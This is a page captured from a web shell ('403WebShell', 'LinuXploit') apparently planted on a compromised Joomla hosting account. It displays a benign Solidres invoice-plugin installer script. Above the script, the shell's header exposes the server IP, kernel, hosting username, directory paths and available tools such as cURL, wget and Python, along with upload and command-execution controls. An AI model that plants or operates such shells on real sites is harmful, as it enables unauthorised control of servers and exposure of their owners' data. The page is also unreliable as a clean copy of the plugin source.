Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/ptitsanes/plugins/solidres/invoice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/ptitsanes/plugins/solidres/invoice/solidres.scriptfile.php
<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;

defined('_JEXEC') or die;

class plgSolidresInvoiceInstallerScript
{
	public function update($parent)
	{
		$filelist = array(
			JPATH_SITE . '/administrator/components/com_solidres/controllers/invoice.php',
			JPATH_SITE . '/administrator/components/com_solidres/tables/invoice.php',
			JPATH_SITE . '/components/com_solidres/controllers/invoicefrontend.php',
			JPATH_SITE . '/administrator/components/com_solidres/views/reservation/tmpl/edit_invoice.php',
			JPATH_SITE . '/plugins/solidres/invoice/administrator/components/com_solidres/views/reservation/tmpl/edit_invoice.php',
			JPATH_SITE . '/plugins/solidres/invoice/components/com_solidres/views/reservationform/tmpl/edit_invoice.php',
			JPATH_SITE . '/administrator/language/cs-CZ/cs-CZ.plg_solidres_invoice.ini',
			JPATH_SITE . '/administrator/language/cs-CZ/cs-CZ.plg_solidres_invoice.sys.ini',
			JPATH_SITE . '/administrator/language/el-GR/el-GR.plg_solidres_invoice.ini',
			JPATH_SITE . '/administrator/language/el-GR/el-GR.plg_solidres_invoice.sys.ini',
			JPATH_SITE . '/administrator/language/en-GB/en-GB.plg_solidres_invoice.ini',
			JPATH_SITE . '/administrator/language/en-GB/en-GB.plg_solidres_invoice.sys.ini',
			JPATH_SITE . '/administrator/language/es-ES/es-ES.plg_solidres_invoice.ini',
			JPATH_SITE . '/administrator/language/es-ES/es-ES.plg_solidres_invoice.sys.ini',
			JPATH_SITE . '/administrator/language/it-IT/it-IT.plg_solidres_invoice.ini',
			JPATH_SITE . '/administrator/language/it-IT/it-IT.plg_solidres_invoice.sys.ini',
		);

		foreach ($filelist as $file)
		{
			if (File::exists($file))
			{
				File::delete($file);
			}
		}

		$folderList = array(
			JPATH_PLUGINS . '/solidres/invoice/libraries'
		);

		foreach ($folderList as $folder)
		{
			if (Folder::exists($folder))
			{
				Folder::delete($folder);
			}
		}
	}

	public function postflight($type, $adapter)
	{
		if ($type == 'uninstall')
		{
			$cliFile = JPATH_ROOT . '/cli/invoice.php';

			if (is_file($cliFile))
			{
				@File::delete($cliFile);
			}
		}
		else
		{
			$cliFile = $adapter->getParent()->getPath('source') . '/cli/invoice.php';

			if (is_file($cliFile))
			{
				@File::copy($cliFile, JPATH_ROOT . '/cli/invoice.php');
			}
		}

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit